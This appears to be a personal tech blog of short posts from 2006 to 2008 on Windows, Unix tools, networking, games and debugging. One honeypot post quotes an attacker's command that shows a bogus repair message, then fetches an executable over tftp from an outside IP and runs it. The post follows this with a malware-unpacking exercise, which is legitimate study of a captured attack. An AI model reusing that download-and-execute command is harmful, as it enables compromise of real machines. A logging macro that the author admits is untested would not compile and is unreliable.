Jason Spence

SQL Server 2005 Express Edition

2008-01-13T07:19:34Z

With Vista, Microsoft seems to have finally thrown support for Microsoft SQL Server Desktop Engine out the window. I have a Microsoft product that depends on a SQL Server compatible database for installation, and it flat-out refuses to install on Vista using MSDE 2000. I grabbed SQL Server 2005 Express Edition instead, and while looking for the download link I couldn't believe how much other stuff the SQL group is giving away.

For starters, there's a SQLite competitor called SQL Server Compact Edition, a free day of video training on how to use the product, a $49 developer edition with all the features of Enterprise Edition, a reporting tool to make quick reports from the data, and lots of other stuff.

If you don't mind being locked into Windows, that means you can get an account on a Windows Server 2003 box and throw up a whole web serving stack (IIS, ASP, SQL Server Express, C#), for nothing but the cost of the OS. With the cost of Windows Server 2003 Web Edition licenses dropping past $250 because Windows Server 2008 is about to come out, this might be a great idea for folks who don't need or want to know anything about Unix. If you get a hosting provider to amortize the cost of the license for you, it's even cheaper than that.

By the way, you really do need a Windows Server 2003 license. You can't weasel out of this by using a cheap XP or Vista license, since both products include a clause in the EULA saying you can't use them for "commercial hosting." (Vista EULA section 8, XP EULA section 5).

jspence @ 2008-01-11T23:28:00

2008-01-12T07:33:47Z

My Thinkpad T61 is a great product except for the default Windows software load, which stinks pretty bad. Something that's been bugging me for a while has been display artifacts when playing back full-screen video on the Quadro 140M in my model. I just fixed it by twiddling with the Nvidia control panel settings and disabling the PowerMizer feature.

jspence @ 2008-01-02T01:19:00

2008-01-02T09:27:33Z

Earlier today I had to give someone a file from a unix machine, but he was behind a NAT box and all I had was python. What to do?

[jspence@somewhere /home/me/somewhere]$ python2.4
Python 2.4.4 (#2, Oct 18 2007, 10:08:13)
[GCC 3.4.6 [FreeBSD] 20060305] on freebsd6
Type "help", "copyright", "credits" or "license" for more information.
>>> import SimpleHTTPServer
>>> SimpleHTTPServer.test()
Serving HTTP on 0.0.0.0 port 8000 ...

The web server that gets started serves up the contents of the current directory, with protection against all the usual things like directory traversal and CGI execution.

jspence @ 2007-12-13T05:35:00

2007-12-13T14:02:29Z

Earlier this week I borrowed a labelmaker from someone to label a CD, and in turn they asked me where a good place to put the label would be. She wasn't quite sure where the data was on the CD, and thought putting the label on the top might be bad since the data might be there.

The data actually is on the top side of the CD, but there's usually some coating there to keep your grubby fingers from messing it up with a label. Maybe a picture would help:

Polycarbonate

Label

Aluminum data layer

Polycarbonate

Most people see this and think, well that's stupid, the laser is shining on the bottom of the CD so why not put the data closer to the bottom? Why is there all this plastic in the way?

It's for the same reason you can drive in the rain. The engineers who designed the original compact disc specification knew that if you focus on something far away, small objects in the way blur out and become invisible. When you're driving in the rain, your eyes focus on the road ahead of you and stuff on your windshield disappears. If you deliberately focus on a windshield while it's being rained on (park your car first), you can see that the rain is really kind of annoying unless you focus on objects past it.

The thick polycarbonate layer between the laser and the data layer ensures that any dirt on the bottom of the CD will be on the laser's "windshield," and the laser can focus on the data down the road.

These days, the new 400 nm optical recording media have data densities so high that this simple model doesn't cut it anymore and the discs have become pretty complicated. The picture over to the right is what Verbatim says their Blu-ray discs look like these days. I haven't read the Blu-ray specification so I don't know what the dielectric layer is for, and it's probably going to bug me until I figure it out. There's certainly a good reason for it, but seeing it in this context is like seeing a part labeled "Cuisinart" on my bicycle.

And you thought your job was hard

2007-11-21T22:22:47Z

jspence @ 2007-11-20T17:23:00

2007-11-21T01:24:04Z

I can't believe it, but it's still logging me out. It actually triggered the suspend timer and I had to wake the machine back up.

jspence @ 2007-11-20T14:10:00

2007-11-20T22:17:42Z

I rebooted my Vista dev box about an hour ago to finish installing some patches. This usually closes all the applications and briefly displays "logging out" before jumping to the BIOS's entry vector. Instead, it's been displaying "logging out" for over an hour now and the hard drive is going crazy with what sounds like random I/O. I can't even connect to the box because the window shutdown flag has been set and the kernel won't let things like tlntsvr spawn new processes.

I thought that some of the people who have been complaining about Vista were just whiny, but I'm beginning to suspect that avoiding Vista might be a wise decision. Some of the features are genuinely useful, like shadow copy and cancellable I/O, but losing access to my box for an hour trumps any marginal productivity gains.

It's still going...

jspence @ 2007-11-06T08:00:00

2007-11-02T06:06:08Z

I went over to a friend's house for lunch the other day, and he was playing Halo 3 on his big TV. During one of the scripted sequences, I noticed Miranda Keyes walking down a flight of stairs, and was kind of surprised that Bungie chose an animation loop for the job. I guess the advanced skeletal models in the things I've been looking at lately have spoiled me (*cough* Source *cough*), but seeing the character model airwalking like that was kind of jarring. This goes double because of all the hype Halo 3 has gotten.

Basically, this technique is a cop-out. The way it works is you have your character model go into its animation loop for walking, then you start moving the model in a line from point A to point B (in this case, from the top of the stairs to the bottom). On a flat surface this looks fine, because your standard walk animation has the feet start and stop on a plane perpendicular to the character's vertical axis. If this plane is the same plane as the ground the character is walking on, you're good.

But with stairs, it's a little more complicated because it's not flat. You can model it as a slope which has a flat surface (picture a slip-and-slide), but that's not reality. In reality, they're stairs! The character has to put their feet on them, and that requires all kinds of messy physics stuff, constrained skeletal animations, that kind of thing.

The other day, I saw that there's a company named NaturalMotion that has a product called Euphoria that does most of this stuff. One of the things I learned when I was studying computational physics was how very non-parallelizable these kinds of simulations are. You can run the physics stuff itself in another thread, but the physics calculations themselves generally involve solving matrices of coefficients to differential equations representing the different force vectors affecting the object, and they all have to be done at the same time. You also have to run the calculations several times per second, and the results have to be fed into the GPU before it can even begin rendering the frame! I'll bet the NaturalMotion guys had a great time trying to meet their performance numbers on single-core machines.

While getting the URLs for the above links, I noticed that it looks like LucasArts is going to be using Euphoria for Star Wars: The Force Unleashed, which I hadn't heard about until today. The trailer on their start page is super-duper kick-ass, and you might want to go have a look at it if you're into that kind of thing. They really show off the physics component by having the character throw stormtroopers every which way.

I also had a bizarre idea: thinking about whatever health care problems The Empire has with its stormtroopers kind of puts our country's much smaller ones into perspective.

jspence @ 2007-11-03T08:00:00

2007-10-26T10:05:08Z

For a contract I'm doing, I had to add some features to my hexdump library. One thing that I wanted to do while I was overhauling it was to remove the calls to snprintf I use to convert the current offset into a string of hexadecimal characters. I had to write my own binary->hex routine to do this:

void write_hex(char * dst, unsigned long num)
{
  int i;

  dst[0] = '0', dst[1] = 'x';
  for(i = 7; i >= 0; --i) {
    dst[i + 2] = hex_digits[num % 16];
    num >>= 4; 
  }
}

jspence @ 2007-10-30T08:00:00

2007-10-25T06:24:57Z

Some of you know what my new nickname is, and you'll get this joke:

jspence @ 2007-10-28T08:00:00

2007-10-25T06:16:50Z

I had to free up some space on a unix machine today, and I usually do that by going after the biggest files first. Since I do the command-line thing by default, there is no graphical interface to sort the items in a directory by size. Instead, I do what I always do:

ls -l | sort -n +4

jspence @ 2007-10-26T08:00:00

2007-10-25T06:14:25Z

I had the most bizarre experience today with my SIP phone line. Something happened to my cable modem in the middle of a conference call, and I lost audio from my gateway device. But the gateway never dropped the call! [1] After saying hello a few dozen times to see if I was still connected to the conference bridge, I manually hung up and tried to get dialtone again. That didn't work, so I did a full reset of all the network gear and finally got dialtone. But something was wrong: when I reconnected to the conference bridge, I was hearing two audio streams interleaved with each other! I was curious what was going on, so I broke out the packet sniffer and found out that since the gateway never did a SIP negotiation to hang up the line, I was receiving two RTP streams from the SIP provider (one from the original call and one from my new call), and the SIP gateway was dutifully feeding the incoming RTP payloads to its internal DAC for playback through my phone.

Something I can't figure out is why I was able to discern the fact that there were two interleaved RTP streams, since my SIP provider uses the industry standard of 20ms/audio frame, and I thought humans couldn't perceive choppiness at that granularity. It may be that the gateway has further buffering for jitter, but I don't think it would do frame combining in at that stage.

[1] Just in case you're interested, most FXS interfaces for analog phone systems (your wall jack, in simple terms) indicate a remote hangup to your phone hardware by temporarily throwing a big resistance in parallel with the ~48V voltage source and the load of the phone. This usually manifests as a click, followed by the dialtone when the resistance is removed. My fancy GE desk phone actually has special hardware in it to sense this condition. When it does, it closes the line so I have to press a line select button to get dialtone again. The ability to sense this remote hangup condition is of enormous importance in the automated calling industry, which incurs costs for every second their equipment is talking to an annoyed callee who has hung up on the computer's sales pitch.

jspence @ 2007-10-25T08:00:00

2007-10-25T05:47:25Z

Ubuntu 7.10 recently made its way onto one of my test machines. The upgrade went fine, except that udevd was stuck in a syslog vomit loop, and a previous installation of emerald I did was interfering with the gtk-window-decorator component of the compiz stack. The solution was to uninstall the evms and emerald packages, and everything was fine.

Logging spam from applications is a pet peeve of mine. For most projects that warrant a logging subsystem but don't run on a system that provides built-in rate limiting of log messages, I usually introduce a routine something like the following into a logging module:

#define LOG_THROTTLE 100 \
#define LOGMSG(msg, ...) \
do { \
  static int logthrottle_ ## __FILE__ ## "_" ## __LINE__; \
  static time_t lastlogtime_ ## __FILE__ ## "_" ## __LINE__ = time(NULL); \
  logthrottle_ ## __FILE__ ## "_" ## __LINE__ += (10 - (time(NULL) - lastlogtime_ ## __FILE__ ## "_" ## __LINE__)); \
  if(logthrottle_ ## __FILE__ ## "_" ## __LINE__ < 0) { \
    logthrottle_ ## __FILE__ ## "_" ## __LINE__ = 0; \
  } \
  lastlogtime_ ## __FILE__ ## "_" ## __LINE__ = time(NULL); \
  if(logthrottle_ ## __FILE__ ## "_" ## __LINE__ >= LOG_THROTTLE) { \
    break; \
  } \
\
  lock(logbuffer); \
  do_logmsg(msg, __VA_ARGS__); \
  unlock(logbuffer); \
} while(0)

The basic idea is that I create unique variables for each log message being output, based on the source filename and line number where the call to the LOGMSG macro occurs. This assumes that source filenames are unique, but in practice this is easy to satisfy simply by passing the compiler the absolute path to the source files instead of the relative path. It's been my experience that compiler suite vendors blindly use the source filename as found in the compiler's argument buffer.

When this macro is executed, it adds a constant to a throttle counter based on the time since the last time the current line was executed. If the result is negative, we clamp it to 0. If the throttle counter goes above some threshold value, we abort the log message, assuming one of the previous ones that got spammed to the log is going to attract the operator's attention.

By the way, this is an extremely simplistic implementation that I just typed in from memory; I didn't try to compile it. I'm just trying to get this idea of having a unique throttle variable per-log event across.

You can get really fancy and introduce yet another layer on top of this that redirects all log messages of a certain type to the same routine, so that you can throttle the same message no matter how many places it gets output by your program.

jspence @ 2007-10-24T17:19:00

2007-10-25T05:16:35Z

A programming student asked me on IRC why his program to calculate exponents was running so slowly in his shell on my training cluster. I didn't feel like breaking out my reverse engineering tools, so it occured to me that I could probably use the debugger to load the shared library and disassemble things, even though there wouldn't be a running executable. I was right, and did this on a couple systems:

gdb -ex 'disassemble pow' /lib/libm.so.*

I expected to simply count instructions with static analysis to see which implementation was fastest, but all three implementations I checked call other stuff in the math library. I ended up writing a gdb macro to do dynamic analysis:

define count
  set $i = 0
  set $orig_fp = $fp
  while $fp >= $orig_fp
    stepi
    set $i = $i + 1
  end
  print $i
end

document count
  Count the number of instructions executed until the end of the current subroutine.
end

By the way: when I tested the code execution, I found out that the copy of gcc 4.1 shipped with Ubuntu 7.10 can apparently do constant precomputation for my call to the pow(3) function! This is what I got when I compiled with -O2 using the default gcc:

double d;
d = pow(42, 2);
printf("%g\n", d);
8048391: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8048398: 00
8048399: c7 44 24 08 00 90 9b movl $0x409b9000,0x8(%esp)
80483a0: 40
80483a1: c7 04 24 7c 84 04 08 movl $0x804847c,(%esp)
80483a8: e8 2b ff ff ff call 80482d8 <printf@plt>

jspence @ 2007-10-19T08:00:00

2007-10-19T10:24:04Z

I got Valve's The Orange Box on Steam the day it came out, and had a few hours of fun playing through Portal and Half-Life 2: Episode 2. Portal is a great game, and I had an awesome time playing through it. It's difficult to convey its unique approach, but this article at Gamers With Jobs gets close:

Portal is an object lesson in interactive storytelling. We in the media are so fond of shaking our heads, scratching our beards and looking for the "art" in videogames. Well it's time for us all to shut the hell up. This is it. It’s in this finely crafted, lovingly rendered piece of short-story literature.

Like most players, I was pleasantly surprised at the ending credits sequence. Portal's antagonist GLaDOS has a somewhat musical synthesized voice in the game, and the credits have that same voice break into full song, singing a song written by Jonathan Coulton. I was so enamored by how perfectly it fit with the end of the story that I couldn't help but look for more information about how this beautiful piece of art came to be.

It turns out that the voice is done by Ellen McLain, a classically trained opera singer from Tennessee, and she does quite a few voices for Valve's products. I was rather surprised that her domain namesake wasn't registered, and that she didn't have an article on Wikipedia. I ended up registering the domain and starting a dialog with her about having her take it over, and I also stubbed out an article for her on WP. Further investigation revealed that the reason for her lack of Internet presence was that someone from Valve misspelled her name as "Ellen McLane" when crediting her for her work in the original Half-Life 2, and this misspelled version was repeated all over the Internet by people sourcing forum posts from Valve for the correct spelling. I ended up mailing gaben@valvesoftware.com about it, and received the following response from Jeep Barnett at Valve:

Hi Jason. I'm personally fixing all the McLain spelling mistakes right now. Thanks for the heads up. :)

I'm not the only one who noticed this, either. Searching for Ellen McLain turns up this post from a blogger named John Walker, who says:

It has become my sole mission to get Valve’s super voice-over champion, professional soprano Ellen McLain, to have her name spelt correctly anywhere on the internet.

As I type this, most of the pages linked to by the first page of a Google search for "Ellen McLane" have already been fixed, although Google's cached copies are still wrong.

jspence @ 2007-10-18T01:46:00

2007-10-18T09:11:29Z

You might know that Windows has a speech synthesizer. Ever wonder how to use it from the command line? Put this in a .vbs:

set obj = CreateObject("SAPI.SpVoice")
obj.Speak("Hello, world.")

The default voice in Vista is a really sexy female job, much better than the rock-chewing robot deal that's included in XP by default.

There's a delay when you call the speech synthesizer sometimes, which I originally thought was due to the use of vbscript. I wrote a little COM client to call the SAPI TTS APIs directly via C++ and force synchronous output, but that didn't help. Turns out speech output is delayed when the executable is on a network drive, or the CPU is heavily loaded. I'm still not sure why that causes a delay; perhaps the TTS thread is set to a low priority.

Mac users already have the say(1) command, so they don't have to write a script to get access to the speech synthesizer. I hear that Leopard is supposed to have an even more nifty speech synthesizer than the one in Vista, complete with pauses while it "takes a breath." It looks like they took down the sample clips as part of their web site reorg in preparation for the release of 10.5, so I can't link to the clips. If you can find them (or try them on Leopard!), it's worth your time. It's about time, too: the old PlainTalk voice included in 10.4 hasn't changed much since I first heard it on a Mac SE/30 in 1991 or so.

Jets at MFA?

2007-06-12T04:18:18Z

Around 8:30 in Mountain View, I saw (but mostly heard) jet fighters in the airspace around Moffett Federal Airfield. As far as I know, all the jets there were moved to Fresno or farther away years ago, so what gives?

I'm still hearing what sounds like low flying jet engines now.

Malware part 2

2007-05-04T16:23:05Z

The answer to the earlier question was that you should UPX, as hinted by the section names in the binary.

Once you unpack it using UPX, you find pretty quickly that your disassembler won't take the code apart. Why? Because the author didn't mark the text segment executable. Since the unpacker does its own loading, it doesn't matter whether that bit is set or not for the purposes of running the program. It does matter for your disassembler though, because it looks at that bit to determine whether to hexdump or disassemble a given section in the binary.

Back to livejournal

2007-04-25T09:22:16Z

I tried switching to the Midnight Research front page for my blogging, but that didn't work out the way I intended. It looks like Livejournal fixed some of the things that made it tough for me to post code and images, so I'm going to give this page a shot again.

For continuing education, I keep a few honeypots in service so I can farm attack tools and methods from them. One thing I like to run on them is a vulnerable version of RealVNC, because it gives the attacker full control of your desktop. It's like inviting a bad guy over and watching over his shoulder as he works.

Last week, someone used the RealVNC 4 exploit to break into the honeypot VM on my laptop. The attacker opened the run dialog and ran this:

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 74.96.xx.xx GET tvks.exe & start tvks&

(If they were really smart, they would have said something like %comspec% /c start /min ... .)

This throws up a window with a bogus message while it downloads a small 20k executable from a computer hanging off a cable modem somewhere. Here's a copy:

tvks.exe (DO NOT RUN THIS)

Now might be a good time to get a copy of HTE, which you can use to analyze the program without running it. Don't worry, it's not Windows-only.

Use F6 in HTE to select pe/image to take the program apart. You probably won't get very far, because the executable is packed and you're looking at the decompression routine that writes the real executable out to memory.

There exists a tool to unpack the executable; you don't have to do anything fancy to get an executable you can analyze. Poke around the executable using HTE and google a few things: can you find the tool to use?

jspence @ 2006-03-10T12:38:00

2006-03-10T17:44:54Z

I had to write this to help troubleshoot a problem someone was having:

@ECHO OFF
REM which.cmd -- emulate UNIX which(1) utility

if "%1"=="" goto err

for %%I in (%1) do echo %%~$PATH:I
goto out

:err
echo Usage: which FILENAME

:out

debug = whatnow?

2006-02-14T23:49:33Z

If you ever have to write a program, and you want it to have a command that enables debug mode, for chrissakes don't make it "debug=t", because no one will ever figure it out. Really, what's wrong with "debug=1", or even just plain "debug"?

jspence @ 2006-02-11T15:32:00

2006-02-11T23:34:20Z

Virgin America may be flying out of SFO in the near future. Maybe they'll have flights to Vegas by the time the thing rolls around?

jspence @ 2006-02-11T00:11:00

2006-02-11T08:11:49Z

Can you get into Cambridge University?

jspence @ 2006-02-10T02:06:00

2006-02-10T10:45:57Z

I installed VMWare server on a couple machines, to see if the beta can replace my old vmware 4 machine. Conveniently, a spam filtering machine blew up this afternoon...

I duplicated the spam filter's config in a virtual image and brought the virtual machine online. However, the machine best qualified to run the virtual image is on my desk, and the subnet where the virtual image needs to recieve traffic is over in the machine room. I only have one cable going to my desk from the machine room, and I can't dedicate it for the mail filter.

"This sounds like a job for VLANs," I think.

The core switch my Catalyst is connected to has two VLANs configured. The default VLAN, 1, is for all internal traffic behind a NAT firewall. The other VLAN, 2, is for all the servers connected to the Internet [1]. The virtual image needs to be connected to VLAN 2 so it can talk to the Internet, but the host computer needs to be connected to VLAN 1 so I can get my work done.

Problem: the switch on my desk is a 4 MB Cisco Catalyst 2916M-XL, which is a real wierdo. It only supports port-based VLANs, not trunked VLANs. [2]

This is important because you normally solve this problem by turning on something called 802.1q trunking, which allows traffic from both VLAN 1 and VLAN 2 to flow between the core switch and my Catalyst. The switches "tag" the ethernet frames with the VLAN ID, so they can tell which frames belong on which VLAN. Then, you can do things like divert all VLAN 2 traffic to the NIC port being used by the virtual image.

But my Cat doesn't support trunking :(

So, I set the virtual image and the host computer to share the same NIC. Then, I configured the virtual image to only accept traffic tagged with VLAN ID 2. I also told the core switch to drop VLAN 2 traffic onto my cable using tagged frames. Now, on the recieve path, the virtual image will grab all the frames tagged VLAN 2 and ignore everything else. On the transmit path, the virtual image will transmit its frames tagged for VLAN 2, and the core switch will strip the tags before dumping the frames onto the other (non-trunked) ports configured in VLAN 2.

I also told the core switch to assume all my untagged traffic was for VLAN 1, and to pass me all its VLAN 1 traffic without tagging it.

Because the Cat doesn't know anything about VLAN tagging, it just passed the tagged frames (VLAN 2) and the non-tagged frames (VLAN 1) to the NIC with the virtual image and the OS hosting it. Because the virtual image communicates with VLAN 2 using tagged frames, it can communicate with the Internet router on VLAN 2.

The lesson here is that even if you don't have a fancy switch near your workstation, you might be able to make virtual machines appear to be on a subnet far, far away using VLAN trunking. There's also the idea that potentially any machine in your network can be a candidate for hosting a virtual image, and with VLANs you don't even need to get out of your chair to connect the virtual image to the right network.

[1] This is actually a DMZ, and is filtered by the same NAT firewall.

[2] It also has a bunch of other weird quirks that aren't found in other members of the Catalyst family. One that comes to mind is this annoying problem where I get CDP packets even though I say "no cdp run"...

jspence @ 2006-02-03T15:02:00

2006-02-03T23:23:31Z

Don't mess with Toyota trucks, man.

My first car was a Toyota Tercel hatchback. Like many teenagers, I wasn't particularly kind to the thing, but that gave me plenty of good opportunities to see good engineering at work. Maybe the most important lesson I learned was the rule of simplicity.

The rule of simplicity is: the more parts it has, the less reliable the product is.

The Tercel had an emergency brake that was a little different from the other ones I'd seen on automatic cars. It was connected directly to a cable that would close the brakes on the rotor. Simple, yes, but that cable could rust and snap if you yanked on it when you were using it in a hurry. Toyota fixed the problem by adding a coating and using two of them, while many other manufacturers went through all kinds of funny contortions with hydraulic assemblies, spring-loaded gizmos, etc.

It's amazing how often this comes up in unexpected ways, in fields you'd never expect to see it in. Take cow milking. Sounds easy? No. Cows are dirty, dirty animals. If you're milking them via machine, the machine's parts are also going to get filthy dirty and clogged up with all kinds of organic substances. The pump needs to be very simple, because you will be reparing and replacing it often. If it's a simple pump, it may take longer to milk each cow, but that's better than no milk at all because your pump broke and the repair process takes a week.